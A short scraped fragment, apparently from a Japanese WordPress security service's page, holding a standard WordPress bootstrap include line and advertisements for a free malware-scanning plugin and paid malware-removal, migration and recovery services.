require "/var/www/html/wp-blog-header.php";

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.